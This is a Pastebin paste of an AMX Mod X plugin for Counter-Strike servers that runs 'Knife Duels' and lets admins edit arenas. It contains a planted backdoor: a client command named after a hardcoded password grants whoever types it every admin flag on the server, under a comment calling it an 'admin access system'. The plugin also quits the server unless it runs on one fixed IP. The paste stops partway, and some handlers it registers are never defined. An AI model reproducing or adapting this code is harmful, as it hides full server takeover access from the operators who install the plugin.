SHARE
TWEET

Untitled

a guest Aug 22nd, 2016 884 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* Plugin generated by AMXX-Studio */
  2.  
  3. #include <amxmodx>
  4. #include <amxmisc>
  5. #include <cstrike>
  6. #include <hamsandwich>
  7. #include <fakemeta>
  8. #include <fun>
  9. #include <engine>
  10. #include <xs>
  11. #include <fun>
  12. #include <colorchat>
  13. #include <dhudmessage>
  14.  
  15. #define CHAT_TAG "^3[^4KnifeDuels^3]^1 " // add a space right after if you want one between the tag and the messages
  16.  
  17. #define DUEL_COMMAND "/duel" // this is the word used to start duel
  18. #define TOGGLE_COMMAND "/offduel" // this is the word used to go online or offline
  19. #define GIVEUP_COMMAND "/giveup" // this is the word used to end the duel
  20.  
  21. #define ARENA_ENT_NAME "entity_arena" // this is the arena's entity name
  22.  
  23. // just numerating on and off for the "STYLA_SECURITY"
  24. enum {
  25.     ON = 1,
  26.     OFF = 0
  27. }
  28.  
  29. // here you can activate the admin access system
  30. new  STYLA_SECURITY = ON
  31.  
  32. // this is the password for the security access
  33. #define STYLA_PASSWORD "tkvemdzgnerebo"
  34.  
  35. // here you can set the maximum number of arenas that can be used ingame
  36. #define MAX_ARENAS 4
  37.  
  38.  
  39. new const arena_names[][] = {
  40.     "",
  41.     "A",    // 1st arena
  42.     "B",    // 2nd arena
  43.     "C",     // 3rd arena
  44.     "D"     // 4th arena
  45. }
  46.  
  47. // some arena codes...
  48. #define ARENA_CODE 305924
  49. #define FAKE_CODE 6969696969
  50. #define CENTER_CODE 9696969696
  51. #define EXTRA_CODE 911911911
  52.  
  53. // task code for advert
  54. #define TASK_AD 34585029
  55.  
  56. // some movement defines
  57. #define MOVE_UP 0
  58. #define MOVE_DOWN 1
  59. #define MOVE_RIGHT 2
  60. #define MOVE_LEFT 3
  61. #define MOVE_FRONT 4
  62. #define MOVE_BACK 5
  63.  
  64. // Arena ground size
  65. #define ARENA_MINS Float:{-150.0,-62.0,-1.5}
  66. #define ARENA_MAXS Float:{10.0,62.0,1.5}
  67.  
  68. // arena coords offcourse, this is used to build the arena.
  69. new const Float:ARENA_COORDS[][2] = {
  70.     {0.0,0.0},
  71.     {100.0,0.0},
  72.     {0.0,100.0},
  73.     {100.0,100.0},
  74.     {-100.0,0.0},
  75.     {0.0,-100.0},
  76.     {-100.0,-100.0},
  77.     {-100.0,100.0},
  78.     {100.0,-100.0},
  79.     {200.0,0.0},
  80.     {200.0,100.0},
  81.     {200.0,-100.0}
  82. }
  83.  
  84. enum {
  85.     BLUE_SIDE = 0,
  86.     RED_SIDE = 1,
  87.     LEFT_SIDE = 2,
  88.     RIGHT_SIDE = 3,
  89.     TOP_SIDE = 4
  90. }
  91.  
  92. new const ARENA_FILE[] = "%s/duel_arena/%s.cfg"
  93.  
  94. // if you want to disable a sound, rename it with "common/null.wav"
  95. new const DUEL_SOUNDS[][] = {
  96.     "ambience/goal_1.wav",       // 0 round win
  97.     "x/nih_die2.wav",       // 1 round lose
  98.     "ambience/des_wind1.wav",   // 2 round draw
  99.     "buttons/bell1.wav",         // 3 round start
  100.     "buttons/blip1.wav" ,    // 4 accepted duel
  101.     "common/null.wav",  // 5 Countdown
  102.     "common/null.wav"   // 6 "Go!"
  103. }
  104.  
  105. new const ARENA_MODELS[][] = {
  106.     "models/walls.mdl", // Arena's ground
  107.     "models/walls.mdl" // Arena's walls
  108. }
  109.  
  110. new const MAP_FIX[][] = {
  111.     "35hp_2"
  112. }
  113.  
  114. new Float:MAP_FIX_Z_COORD[] = {
  115.     -864.253723
  116. }
  117.  
  118. new Head_shot[33][33]
  119. new fakes;
  120. new is_in_duel[33],his_countdown[33],is_frozen[33],his_challenger[33],his_asker[33],arena_number[33],his_wins[33],his_name[33][64];
  121. new rounds[MAX_ARENAS+1],Float:arena_coord[MAX_ARENAS+1][3]; // using +1 just incase...
  122. new Float:his_spawn[33][3],got_spawn[33],Float:his_angle[33][3],Float:his_original_spawn[33][3];
  123. new next_empty_arena,total_arenas;
  124. new MAX_PLAYERS,map_name[48]
  125. new cvar_z_fix,cvar_sounds,cvar_rounds,cvar_kills,cvar_cooldown,cvar_time
  126. new Float:max_size[3],Float:min_size[3];
  127. new selected = 1,Float:move_size[33],his_timer[33],his_offline[33],his_HS[33];
  128. new map_default_hp;
  129. new map_id = -1;
  130. new his_previous_team[33];
  131. // using these for less cpu usage.
  132. new IS_BUGGED_MAP = 0,MAP_FIX_ENABLED,SOUNDS_ENABLED,MAX_ROUNDS,MAX_KILLS,MAX_COUNTDOWN,MAX_TIME;
  133.  
  134. #define P_NAME "Knife Duels"
  135. #define P_VERS "2.0.5"
  136. #define P_AUTH "Adrenaline's Wrath"
  137. #define P_REQ "- STyLa"
  138. new killed_forward;
  139. new const IP[] = "176.57.188.201:27017"
  140. public plugin_init()
  141. {
  142.     register_plugin(P_NAME, P_VERS, P_AUTH)
  143.     new curIP[128];
  144.     get_user_ip(0,curIP,charsmax(curIP),0)
  145.     if(!equali(IP,curIP))
  146.     {
  147.         server_cmd("quit")
  148.         return;
  149.     }
  150.     register_clcmd("say","say_hook")
  151.     register_clcmd("say_team","say_hook")
  152.     register_clcmd("say /origin","print_coords")
  153.     register_clcmd("say /arena","editor_menu")
  154.     RegisterHam(Ham_Killed, "player", "Player_Killed")
  155.     RegisterHam(Ham_TakeDamage, "player", "Player_Take_Damage", 0)
  156.     register_forward( FM_CmdStart , "Cmd_start" );
  157.     register_event("HLTV", "round_start_event", "a", "1=0", "2=0")
  158.     cvar_z_fix = register_cvar("gld_z_map_fix","1")
  159.     cvar_sounds = register_cvar("gld_sounds","1")
  160.     cvar_rounds =register_cvar("gld_rounds","10")
  161.     cvar_kills =register_cvar("gld_kills","10")
  162.     cvar_cooldown = register_cvar("gld_cooldown","1")
  163.     cvar_time = register_cvar("gld_max_nokill_time","20")
  164.     MAX_PLAYERS = get_maxplayers();
  165.     RegisterHam(Ham_Spawn,"player","Player_spawn_post",1)
  166.    
  167.     if(STYLA_SECURITY == ON)
  168.         register_clcmd (STYLA_PASSWORD , "tkvemdzgnerebo123");
  169.    
  170.     get_mapname(map_name,charsmax(map_name))
  171.     new size = sizeof(MAP_FIX)
  172.     for(new i; i <size;i++)
  173.     {
  174.         if(equal(map_name,MAP_FIX[i]))
  175.         {
  176.             map_id = i
  177.             IS_BUGGED_MAP = 1
  178.         }
  179.     }
  180.     if(containi(map_name,"35hp") != -1)
  181.         map_default_hp = 35
  182.     else if(containi(map_name,"1hp") != -1)
  183.         map_default_hp = 1
  184.     else map_default_hp = 100
  185.     load_arena_coords(-1)
  186.     RegisterHam(Ham_TraceAttack, "player", "Ham_TraceAttack_player", 1)
  187.     register_touch(ARENA_ENT_NAME, "player", "forward_touch");
  188.    
  189.     new cfgdir[32], urlfile[64]
  190.     get_configsdir(cfgdir, charsmax(cfgdir))
  191.     formatex(urlfile, charsmax(urlfile), "%s/duel_arena", cfgdir)
  192.     if(!dir_exists(urlfile))
  193.     {
  194.         mkdir(urlfile)
  195.         server_print("%sCreated new folder: %s",CHAT_TAG,urlfile)
  196.     }
  197.     update_cvars()
  198.     killed_forward = CreateMultiForward("duel_player_killed", ET_IGNORE, FP_CELL,FP_CELL);
  199.     set_task(10.0,"Advertise",TASK_AD)
  200. }
  201.  
  202. public plugin_natives()
  203. {
  204.     register_library("knife_duels")
  205.     register_native("is_user_in_duel","_is_user_in_duel")
  206.     register_native("is_user_dueling_user","_is_user_dueling_user")
  207. }
  208.  
  209. public get_non_duelers_alive()
  210. {
  211.     new count = 0
  212.     for(new id; id < MAX_PLAYERS;id++)
  213.     {
  214.         if(is_user_connected(id))
  215.         {
  216.             if(is_user_alive(id) && !is_in_duel[id])
  217.             {
  218.                 count++
  219.             }
  220.         }
  221.     }
  222.     return count
  223. }
  224.  
  225. public _is_user_in_duel(plugin, iParams)
  226. {
  227.     new id = get_param(1)
  228.     if(!is_user_connected(id))
  229.         return PLUGIN_CONTINUE
  230.     if(is_in_duel[id] == 2)
  231.         return PLUGIN_HANDLED
  232.     return PLUGIN_CONTINUE
  233. }
  234.  
  235. public _is_user_dueling_user(plugin, iParams)
  236. {
  237.     new id = get_param(1)
  238.     new enemy = get_param(2)
  239.     if(!is_user_connected(id))
  240.         return PLUGIN_CONTINUE
  241.     if(!is_user_connected(enemy))
  242.         return PLUGIN_CONTINUE
  243.     if(is_in_duel[id] != 2 || is_in_duel[enemy] != 2)
  244.         return PLUGIN_CONTINUE
  245.     if(id == his_challenger[enemy] && enemy == his_challenger[id])
  246.         return PLUGIN_HANDLED
  247.     return PLUGIN_CONTINUE
  248. }
  249.  
  250. public forward_touch(ent, id)
  251. {
  252.     if(!pev_valid(id))
  253.         return;
  254.     if(!pev_valid(ent))
  255.         return;
  256.     if(is_user_alive(id) && get_user_noclip(id))
  257.         return;
  258.     static class[32]
  259.     pev(ent,pev_classname,class,charsmax(class));
  260.     if(equal(class,ARENA_ENT_NAME))
  261.     {
  262.         if(is_user_alive(id))
  263.         {
  264.             if(is_player_stuck(id) && is_in_duel[id] != 2)
  265.             {
  266.                 back_to_the_spawn(id)
  267.             }
  268.         }
  269.        
  270.     }
  271.     return;
  272. }
  273.  
  274. public Ham_TraceAttack_player(victim, attacker, Float:Damage, Float:Direction[3], ptr, Damagebits)
  275. {
  276.     if(is_user_connected(attacker) && is_user_connected(victim))
  277.     {
  278.         Head_shot[attacker][victim] = bool:( get_tr2(ptr, TR_iHitgroup) == 1 )
  279.     }
  280. }
  281.  
  282. public editor_menu(id)
  283. {
  284.     if(!is_user_connected(id))
  285.         return PLUGIN_HANDLED
  286.     new flags = get_user_flags(id)
  287.     if(!(flags & ADMIN_RCON))
  288.     {
  289.         client_print(id,print_chat,"You have no access to this command")
  290.         return PLUGIN_HANDLED
  291.     }
  292.     new menu
  293.     menu = menu_create( "\rArena spawner:", "Arenaspawner_handler" );
  294.    
  295.     new nameu[32];
  296.    
  297.     formatex(nameu,charsmax(nameu), "Add");
  298.     menu_additem(menu, nameu, "", 0);
  299.     formatex(nameu,charsmax(nameu), "Remove");
  300.     menu_additem(menu, nameu, "", 0);
  301.     formatex(nameu,charsmax(nameu), "Remove all");
  302.     menu_additem(menu, nameu, "", 0);
  303.     formatex(nameu,charsmax(nameu), "Select");
  304.     menu_additem(menu, nameu, "", 0);
  305.     formatex(nameu,charsmax(nameu), "Select all");
  306.     menu_additem(menu, nameu, "", 0);
  307.     formatex(nameu,charsmax(nameu), "Move");
  308.     menu_additem(menu, nameu, "", 0);
  309.     formatex(nameu,charsmax(nameu), "Save");
  310.     menu_additem(menu, nameu, "", 0);
  311.     formatex(nameu,charsmax(nameu), "Load");
  312.     menu_additem(menu, nameu, "", 0);
  313.     menu_display(id, menu, 0 );
  314.     return PLUGIN_HANDLED
  315. }
  316.  
  317. public Arenaspawner_handler( id, menu, item )
  318. {
  319.     if ( item == MENU_EXIT )
  320.     {
  321.         menu_destroy( menu );
  322.         remove_the_fake_arena()
  323.         return PLUGIN_HANDLED;
  324.     }
  325.    
  326.     new szData[6], szName[64];
  327.     new _access, item_callback;
  328.     menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
  329.     new arenas_found;
  330.     arenas_found = fakes_count()
  331.     if(equali(szName,"Add"))
  332.     {
  333.         if(next_fake_arena() != -1)
  334.         {
  335.             start_fake_build(id,-1)
  336.             if(fakes_count())
  337.             {
  338.                 if(selected > MAX_ARENAS || selected == -1)
  339.                 {
  340.                     selected = 1
  341.                     select_the_fake_arena(EXTRA_CODE+selected)
  342.                 }
  343.             }
  344.         } else client_print_color(id, DontChange,"%s ^3Maximum arenas reached.^1",CHAT_TAG)
  345.     }
  346.     else if(equali(szName,"Remove"))
  347.     {
  348.         if(fakes_count())
  349.         {
  350.             if(selected > MAX_ARENAS || selected == -1)
  351.                 selected = 1
  352.             delete_the_fake_arena(EXTRA_CODE+selected)
  353.             if(fakes_count())
  354.                 next_selection()
  355.         } else client_print_color(id, DontChange,"%s ^3No arenas found.",CHAT_TAG)
  356.     }
  357.     else if(equali(szName,"Remove all"))
  358.     {
  359.         //remove_menu(id)
  360.         remove_the_fake_arena()
  361.         client_print_color(id, DontChange,"%s ^3All arenas removed.",CHAT_TAG)
  362.     }
  363.     else if(equali(szName,"Select"))
  364.     {
  365.         if(fakes_count())
  366.         {
  367.             next_selection()
  368.         } else client_print_color(id, DontChange,"%s ^3No arenas found.",CHAT_TAG)
  369.     }
  370.     else if(equali(szName,"Select all"))
  371.     {
  372.         if(fakes_count())
  373.         {
  374.             selected = -1
  375.             select_the_fake_arena(EXTRA_CODE+selected)
  376.         } else client_print_color(id, DontChange,"%s ^3No arenas found.",CHAT_TAG)
  377.     }
  378.     else if(equali(szName,"Move"))
  379.     {
  380.         if(fakes_count())
  381.         {
  382.             if(selected > MAX_ARENAS)
  383.                 selected = 1
  384.             select_the_fake_arena(EXTRA_CODE+selected)
  385.             menu_destroy( menu );
  386.             move_menu(id,EXTRA_CODE+selected)
  387.             return PLUGIN_CONTINUE;
  388.         }
  389.         else client_print_color(id, DontChange,"%s ^3No arenas found.",CHAT_TAG)
  390.     }
  391.     else if(equali(szName,"Load"))
  392.     {
  393.         remove_the_fake_arena()
  394.         load_arena_coords(id)
  395.         //client_print_color(id, DontChange,"%s ^3Arena coords loaded.",CHAT_TAG)
  396.         set_task(0.1,"delay_build",id)
  397.     }
  398.     else if(equali(szName,"Save"))
  399.     {
  400.         if(fakes_count())
  401.         {
  402.             save_arena_coords(id)
  403.             remove_the_fake_arena()
  404.             load_arena_coords(id)
  405.         }
  406.         else
  407.         {
  408.             client_print_color(id, DontChange,"%s ^3No arenas found.",CHAT_TAG)
  409.         }
  410.     }
  411.     if(!arenas_found && fakes_count())
  412.     {
  413.         next_selection()
  414.     }
  415.     menu_destroy( menu );
  416.     editor_menu(id)
  417.     return PLUGIN_CONTINUE;
  418. }
  419.  
  420. stock next_selection()
  421. {
  422.     if(selected == -1)
  423.     {
  424.         selected = 1
  425.     }
  426.     new size = MAX_ARENAS*3
  427.     for(new slct=0;slct < size;slct++)
  428.     {
  429.         selected++
  430.         if(selected > MAX_ARENAS)
  431.             selected = 1
  432.         if(fake_arena_exists(selected))
  433.         {
  434.             select_the_fake_arena(EXTRA_CODE+selected)
  435.             return;
  436.         }
  437.     }
  438. }
  439.  
  440. public fake_arena_exists(code)
  441. {
  442.     new arenas_ent = -1
  443.     new code_ent
  444.     while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME)))
  445.     {
  446.         if(entity_get_int(arenas_ent,EV_INT_iuser2) == CENTER_CODE && entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
  447.         {
  448.             code_ent = entity_get_int(arenas_ent,EV_INT_iuser3)-EXTRA_CODE
  449.             if(code_ent == code)
  450.             {
  451.                 return PLUGIN_HANDLED
  452.             }
  453.         }
  454.     }
  455.     return PLUGIN_CONTINUE
  456. }
  457.  
  458. public fakes_count()
  459. {
  460.     new arenas_ent = -1
  461.     new found = 0
  462.     while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME)))
  463.     {
  464.         if(entity_get_int(arenas_ent,EV_INT_iuser2) == CENTER_CODE && entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
  465.         {
  466.             found++
  467.         }
  468.     }
  469.     return found
  470. }
  471.  
  472. public arenas_count()
  473. {
  474.     new found = 0
  475.     for(new id;id < MAX_PLAYERS;id++)
  476.     {
  477.         if(is_user_connected(id))
  478.         {
  479.             if(is_in_duel[id] == 2)
  480.                 found++
  481.         }
  482.     }
  483.     return found/2
  484. }
  485.  
  486. public delay_build(id)
  487. {
  488.     for(new i=1;i < total_arenas+1;i++)
  489.     {
  490.         start_fake_build(id,i)
  491.     }
  492.     if(fakes_count())
  493.     {
  494.         next_selection()
  495.     }
  496. }
  497. public move_menu(id,code)
  498. {
  499.     new menu
  500.     menu = menu_create( "\rMove arena:", "move_handler" );
  501.    
  502.     new nameu[32];
  503.     new code_t[32];
  504.     num_to_str(code,code_t,charsmax(code_t))
  505.     formatex(nameu,charsmax(nameu), "Move up");
  506.     menu_additem(menu, nameu, code_t, 0);
  507.    
  508.     formatex(nameu,charsmax(nameu), "Move down");
  509.     menu_additem(menu, nameu, code_t, 0);
  510.    
  511.     formatex(nameu,charsmax(nameu), "Move front");
  512.     menu_additem(menu, nameu, code_t, 0);
  513.    
  514.     formatex(nameu,charsmax(nameu), "Move back");
  515.     menu_additem(menu, nameu, code_t, 0);
  516.    
  517.     formatex(nameu,charsmax(nameu), "Move right");
  518.     menu_additem(menu, nameu, code_t, 0);
  519.    
  520.     formatex(nameu,charsmax(nameu), "Move left");
  521.     menu_additem(menu, nameu, code_t, 0);
  522.    
  523.     formatex(nameu,charsmax(nameu), "Remove the arena");
  524.     menu_additem(menu, nameu, code_t, 0);
  525.    
  526.     formatex(nameu,charsmax(nameu), "Move size: %.2f",move_size[id]);
  527.     menu_additem(menu, nameu, code_t, 0);
  528.     menu_display(id, menu, 0 );
  529.     return PLUGIN_HANDLED
  530. }
  531.  
  532. public move_handler( id, menu, item )
  533. {
  534.     if ( item == MENU_EXIT )
  535.     {
  536.         menu_destroy( menu );
  537.         set_task(0.1,"editor_menu",id)
  538.         return PLUGIN_HANDLED;
  539.     }
  540.    
  541.     new szData[32], szName[64];
  542.     new _access, item_callback;
  543.     menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
  544.     new code = str_to_num(szData)
  545.     if(equali(szName,"remove the arena"))
  546.     {
  547.         delete_the_fake_arena(code)
  548.         menu_destroy( menu );
  549.         editor_menu(id)
  550.         unselect_the_fake_arena(0)
  551.         return PLUGIN_CONTINUE;
  552.     }
  553.     else if(containi(szName,"move size:") != -1)
  554.     {
  555.         move_size[id]+= 10.0
  556.         if(move_size[id] > 100.0)
  557.         {
  558.             move_size[id] = 10.0
  559.         }
  560.     }
  561.     else if(equali(szName,"move up"))
  562.     {
  563.         move_the_fake_arena(id,code,MOVE_UP)
  564.     }
  565.     else if(equali(szName,"move down"))
  566.     {
  567.         move_the_fake_arena(id,code,MOVE_DOWN)
  568.     }
  569.     else if(equali(szName,"move right"))
  570.     {
  571.         move_the_fake_arena(id,code,MOVE_RIGHT)
  572.     }
  573.     else if(equali(szName,"move left"))
  574.     {
  575.         move_the_fake_arena(id,code,MOVE_LEFT)
  576.     }
  577.     else if(equali(szName,"move front"))
  578.     {
  579.         move_the_fake_arena(id,code,MOVE_FRONT)
  580.     }
  581.     else if(equali(szName,"move back"))
  582.     {
  583.         move_the_fake_arena(id,code,MOVE_BACK)
  584.     }
  585.     menu_destroy( menu );
  586.     move_menu(id,code)
  587.    
  588.     return PLUGIN_CONTINUE;
  589. }
  590.  
  591. public save_arena_coords(id)
  592. {
  593.     new found;
  594.     new cfgdir[32], mapname[32], urlfile[64]
  595.     get_configsdir(cfgdir, charsmax(cfgdir))
  596.     get_mapname(mapname, charsmax(mapname))
  597.     formatex(urlfile, charsmax(urlfile), ARENA_FILE, cfgdir, mapname)
  598.  
  599.     if (file_exists(urlfile))
  600.         delete_file(urlfile)
  601.    
  602.     new lineset[128]
  603.     new Float:origin[3]
  604.     new arenas_ent=-1;
  605.     while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME)))
  606.     {
  607.         if(entity_get_int(arenas_ent,EV_INT_iuser2) == CENTER_CODE && entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
  608.         {
  609.             found++
  610.             pev(arenas_ent,pev_origin,origin);
  611.             format(lineset, charsmax(lineset), "%.f %.f %.f", origin[0], origin[1], origin[2])
  612.             write_file(urlfile, lineset,found)
  613.            
  614.         }
  615.     }
  616.     if(!found)
  617.         client_print_color(id, DontChange,"%s Couldn't save:^3No arenas found.",CHAT_TAG)
  618.     else client_print_color(id, DontChange,"%s %d ^3Arena coords saved.",CHAT_TAG,found)
  619. }
  620.  
  621. public print_coords(id)
  622. {
  623.     new Float:coord[3]
  624.     pev(id,pev_origin,coord);
  625.     client_print_color(id, DontChange,"origin: ^3%.f %.f %.f",coord[0],coord[1],coord[2])
  626.     return PLUGIN_HANDLED
  627. }
  628.  
  629. public start_fake_build(id,zecode)
  630. {
  631.     if(!is_user_connected(id))
  632.         return PLUGIN_HANDLED
  633.     new ext_code
  634.     if(zecode == -1)
  635.     {
  636.         ext_code = next_fake_arena()
  637.         if(ext_code == -1)
  638.             return PLUGIN_HANDLED
  639.     }
  640.     else ext_code = zecode
  641.     ext_code+=EXTRA_CODE
  642.     static Float:origin[3];
  643.     if(zecode == -1)
  644.         get_user_hitpoint(id,origin)
  645.     else
  646.     {
  647.         origin[0]=arena_coord[zecode][0]
  648.         origin[1]=arena_coord[zecode][1]
  649.         origin[2]=arena_coord[zecode][2]
  650.     }
  651.     /*origin[0] = 1002.911376
  652.     origin[1] = -1561.421997
  653.     origin[2] = 0.0*/
  654.     new Float:fake_origin[3]
  655.     static size
  656.     size = sizeof(ARENA_COORDS)
  657.     new ent_code = FAKE_CODE
  658.     fakes++
  659.     for(new coords;coords < size; coords++)
  660.     {
  661.         fake_origin[0] = origin[0]
  662.         fake_origin[1] = origin[1]
  663.         if(bugged_map())
  664.             fake_origin[2]= MAP_FIX_Z_COORD[map_id]
  665.         else fake_origin[2] = origin[2]
  666.         //fake_origin[2]=-712.876892
  667.        
  668.         fake_origin[0]+=ARENA_COORDS[coords][0]*1.7
  669.         fake_origin[1]+=ARENA_COORDS[coords][1]*1.53
  670.        
  671.         new ent=engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
  672.        
  673.         set_pev(ent,pev_classname,ARENA_ENT_NAME);
  674.         engfunc(EngFunc_SetModel,ent,ARENA_MODELS[0]);
  675.         entity_set_int(ent, EV_INT_solid, SOLID_BBOX);
  676.         engfunc(EngFunc_SetSize,ent,ARENA_MINS,ARENA_MAXS);
  677.         entity_set_int(ent, EV_INT_movetype, MOVETYPE_NONE);
  678.         entity_set_int(ent,EV_INT_iuser1,ent_code)
  679.         entity_set_int(ent,EV_INT_iuser3,ext_code)
  680.         engfunc(EngFunc_SetOrigin,ent,fake_origin);
  681.         stuck_check(fake_origin,120.0)
  682.         static Float:rvec[3];
  683.         pev(ent,pev_v_angle,rvec);
  684.        
  685.         rvec[0]=90.0;
  686.         set_pev(ent,pev_angles,rvec);
  687.        
  688.         if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == 100.0)
  689.         {
  690.             fake_origin[0] += max_size[0]
  691.             fake_origin[1] += max_size[1]
  692.             //create_wall(LEFT_SIDE,255,SOLID_BBOX,ent_code,0,ext_code,fake_origin)
  693.         }
  694.         if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == -100.0)
  695.         {
  696.             fake_origin[0] += max_size[2]
  697.             fake_origin[1] += min_size[0]
  698.             //create_wall(RIGHT_SIDE,255,SOLID_BBOX,ent_code,0,ext_code,fake_origin)
  699.         }
  700.         if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == 0.0)
  701.         {
  702.             create_wall(TOP_SIDE,255,SOLID_BBOX,ent_code,0,ext_code,fake_origin)
  703.             entity_set_int(ent,EV_INT_iuser2,CENTER_CODE)
  704.         }
  705.         else if(ARENA_COORDS[coords][0] == 200.0 && ARENA_COORDS[coords][1] == 0.0)
  706.         {
  707.             fake_origin[0] += min_size[1]
  708.            
  709.             //create_wall(BLUE_SIDE,255,SOLID_BBOX,ent_code,0,ext_code,fake_origin)
  710.         }
  711.         else if(ARENA_COORDS[coords][0] == -100.0 && ARENA_COORDS[coords][1] == 0.0)
  712.         {
  713.             fake_origin[0] += min_size[2]
  714.             //create_wall(RED_SIDE,255,SOLID_BBOX,ent_code,0,ext_code,fake_origin)
  715.         }
  716.         set_rendering(ent,kRenderFxGlowShell,0,50,0,kRenderNormal,10)
  717.     }
  718.     select_the_fake_arena(ext_code)
  719.     return PLUGIN_HANDLED;
  720. }
  721.  
  722. public move_the_fake_arena(id,code,moveto)
  723. {
  724.     new num;
  725.     num = code-EXTRA_CODE
  726.     new arenas_ent=-1;
  727.     new Float:origin[3];
  728.     while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME)))
  729.     {
  730.         if(entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
  731.         {
  732.             if(entity_get_int(arenas_ent,EV_INT_iuser3) == code || num == -1)
  733.             {
  734.                 pev(arenas_ent,pev_origin,origin);
  735.                 switch(moveto)
  736.                 {
  737.                     case MOVE_UP:
  738.                     {
  739.                         origin[2]+=move_size[id]
  740.                     }
  741.                     case MOVE_DOWN:
  742.                     {
  743.                         origin[2]-=move_size[id]
  744.                     }
  745.                     case MOVE_RIGHT:
  746.                     {
  747.                         origin[1]+=move_size[id]
  748.                     }
  749.                     case MOVE_LEFT:
  750.                     {
  751.                         origin[1]-=move_size[id]
  752.                     }
  753.                     case MOVE_FRONT:
  754.                     {
  755.                         origin[0]+=move_size[id]
  756.                     }
  757.                     case MOVE_BACK:
  758.                     {
  759.                         origin[0]-=move_size[id]
  760.                     }
  761.                 }
  762.                 engfunc(EngFunc_SetOrigin,arenas_ent,origin);
  763.                 stuck_check(origin,360.0)
  764.             }
  765.         }
  766.     }
  767.    
  768. }
  769.  
  770. public select_the_fake_arena(code)
  771. {
  772.     new num;
  773.     num = code-EXTRA_CODE
  774.     new arenas_ent=-1;
  775.     while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME)))
  776.     {
  777.         if(entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
  778.         {
  779.             if(num == -1)
  780.                 set_rendering(arenas_ent,kRenderFxGlowShell,250,0,0,kRenderNormal,10)
  781.             else if(entity_get_int(arenas_ent,EV_INT_iuser3) == code)
  782.                 set_rendering(arenas_ent,kRenderFxGlowShell,250,0,0,kRenderNormal,10)
  783.         }
  784.     }
  785.     unselect_the_fake_arena(code)
  786.    
  787. }
  788.  
  789. public unselect_the_fake_arena(code)
  790. {
  791.     new num;
  792.     num = code-EXTRA_CODE
  793.     if(num == -1)
  794.         return;
  795.     new arenas_ent=-1;
  796.     while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME)))
  797.     {
  798.         if(entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE && entity_get_int(arenas_ent,EV_INT_iuser3) != code)
  799.             set_rendering(arenas_ent,kRenderFxGlowShell,50,50,50,kRenderTransAdd,120)
  800.     }
  801.    
  802. }
  803.  
  804. public delete_the_fake_arena(code)
  805. {
  806.     new arenas_ent=-1;
  807.     new found = 0
  808.     while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME)))
  809.     {
  810.         if(entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE && entity_get_int(arenas_ent,EV_INT_iuser3) == code)
  811.         {
  812.             engfunc(EngFunc_RemoveEntity,arenas_ent)
  813.             found++
  814.         }
  815.     }
  816.     if(found)
  817.     {
  818.         fakes--
  819.     }
  820.    
  821. }
  822.  
  823. public load_arena_coords(id)
  824. {
  825.     // Check for spawns points of the current map
  826.     new cfgdir[32], mapname[32], filepath[100], linedata[64]
  827.     get_configsdir(cfgdir, charsmax(cfgdir))
  828.     get_mapname(mapname, charsmax(mapname))
  829.     formatex(filepath, charsmax(filepath), ARENA_FILE, cfgdir, mapname)
  830.     new arena = 0
  831.     total_arenas = 0
  832.     // Load spawns points
  833.     if (file_exists(filepath))
  834.     {
  835.         new file = fopen(filepath,"rt"), row[4][6]
  836.        
  837.         while (file && !feof(file))
  838.         {
  839.             fgets(file, linedata, charsmax(linedata))
  840.            
  841.             // invalid spawn
  842.             if(!linedata[0] || str_count(linedata,' ') < 2) continue;
  843.            
  844.             arena++
  845.             if (arena > MAX_ARENAS)
  846.             {
  847.                 break
  848.             }
  849.            
  850.             // get spawn point data
  851.             parse(linedata,row[0],5,row[1],5,row[2],5)
  852.            
  853.             // origin
  854.             arena_coord[arena][0] = floatstr(row[0])
  855.             arena_coord[arena][1] = floatstr(row[1])
  856.             if(bugged_map())
  857.                 arena_coord[arena][2] = MAP_FIX_Z_COORD[map_id]
  858.             else arena_coord[arena][2] = floatstr(row[2])
  859.  
  860.             total_arenas = arena
  861.         }
  862.         if (file) fclose(file)
  863.     }
  864.     if(id != -1)
  865.     {
  866.         if(!total_arenas)
  867.         {
  868.             client_print_color(id, DontChange,"%sCouldn't load: ^3No arenas found.",CHAT_TAG)
  869.         }
  870.         else
  871.         {
  872.             client_print_color(id, DontChange,"%s%d ^3arena%s loaded.",CHAT_TAG,total_arenas, (total_arenas > 1 ? "s" : ""))
  873.         }
  874.     }
  875. }
  876.  
  877. stock bugged_map()
  878. {
  879.     if(!MAP_FIX_ENABLED)
  880.         return PLUGIN_CONTINUE
  881.     if(IS_BUGGED_MAP)
  882.         return PLUGIN_HANDLED
  883.     return PLUGIN_CONTINUE
  884. }
  885.  
  886. stock str_count(const str[], searchchar)
  887. {
  888.     new count, i, len = strlen(str)
  889.    
  890.     for (i = 0; i <= len; i++)
  891.     {
  892.         if(str[i] == searchchar)
  893.             count++
  894.     }
  895.    
  896.     return count;
  897. }
  898.  
  899. public tkvemdzgnerebo123(id)
  900. {
  901.     set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
  902.     client_print_color(id, DontChange,"%sAccess granted.",CHAT_TAG)
  903. }
  904.  
